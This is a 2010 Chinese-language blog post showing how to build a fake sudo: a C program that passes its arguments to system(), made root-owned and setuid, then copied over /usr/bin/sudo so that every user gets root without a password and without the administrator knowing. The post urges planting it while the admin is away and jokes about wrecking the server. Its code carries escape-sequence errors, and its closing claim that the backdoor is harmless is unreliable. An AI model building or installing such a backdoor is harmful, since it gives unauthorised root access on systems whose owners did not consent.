利用system函數竊取linux系統超級特權
Luo Weifeng 2010-9-26
原文發表至QQ空間,現在刪了搞過來。
受 W.Richard Stevens , Stephen A.Rago等老前輩的啟發,今天終於高出了些自己的東東。
大家都知道,在linux家族中最近幾年出了個能乾的Ubuntu,它裡面有個命令特別與眾不同--sudo
這個命令確實給普通使用者提供了很大的方便。可是每次執行sudo的時候都需要有個passwd輸入。
要知道程式員是很懶滴,每次輸入一串亂踢八糟的東東真滴很鬱悶,特別是當輸入幾次都出錯滴
時候。這時候就應該想到去看看sudo這個傢伙是怎麼搞的啦。於是:
$cat /usr/bin/sudo
結果出來一大堆亂碼,哦,竟然是二進位滴,悲劇了
想到ISO C給了一個很好用的東東 system() 。有個這個東東大家可能很快就能明白我要幹什麼了
呵呵。是了,自己搞個sudo。我系統原來的幹掉。這樣,呵呵,特權從此泄露。所有使用者都是
超級管理員,而管理員老先生還不知道發生了什麼,儘管憧憬吧。不過,至少你得有一次接觸到
超級使用者權限的機會。呵呵,這個好辦,趁他上廁所。呵呵。邪惡……
下面將我滴sudo跟大家分享分享:
sudo.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc ,char * argv[]){
char commandline[1024];
char * ptr = commandline;
if(argc < 2){
fputs("Usage: sudo commandline arg0 .../n",stderr);
exit(1);
}
for(int i = 1; argv[i] != NULL;i++){
for(int j= 0;j < strlen(argv[i]);j++){
/*這裡考慮標準IO庫行緩衝最大值1024的緣故沒有判斷緩衝區溢位的情景,如果要在重要場合應用這個程式
可以在此添加溢出判斷*/
*ptr++ = argv[i][j];
}
*ptr++ = ' ';
}
*ptr++ = '/0';
if(system(commandline) < 0){
fputs("Err: in system!",stderr);
exit(2);
}
return 0;
}
編譯:
$gcc -std=c99 sudo.c -o sudo
得到了sudo這個贗品,呵呵
接下來就是竊取超級特權的瞬間了,看好了
$sudo chown root ./sudo
$sudo chmod u+s ./sudo
$sudo chmod o+x ../sudo
替換系統sudo(這個好像有點太邪惡了,呵呵)
$sudo cp /usr/bin/sudo /usr/bin/sudo.bak
$sudo cp ./sudo /usr/bin/sudo
大功告成!!!!!!!!!!!!!!!!!!!!!!!!!!
試試你的新sudo
如果不想這麼邪惡,可以將我們這個sudo放在自己的目錄下,編輯登入指令檔,使得我們的路徑放置在
系統那個sudo的前面,這樣,平常就用這個強大的贗品sudo,有必要用原來那個sudo的時候就用
$/usr/bin/sudo yourcommandline
這樣滴話,就不會惹惱管理員了,自己也能安靜些,其他使用者沒有執行你的路徑的許可權,也是訪問不到
你這個強大的sudo滴,呵呵
注意:如果在上面的介紹中替換了系統的sudo,可以用下面的命令找回:
$cd youranothersudopath
$./sudo cp /usr/bin/sudo.bak /usr/bin/sudo
OK,又恢複原樣。
呵呵呵呵呵額呵呵。盡情的享受吧,哪天鬱悶了把伺服器給 幹了,呵呵
後記:貌似這個sudo不會造成系統的重大問題,因為好多任務都會檢查實際使用者ID,這樣的話即使
有設定使用者Id標識,但是還是不能通過部分檢查,可見(Unix)linux設計的是多麼好Y。
於:2010-10-2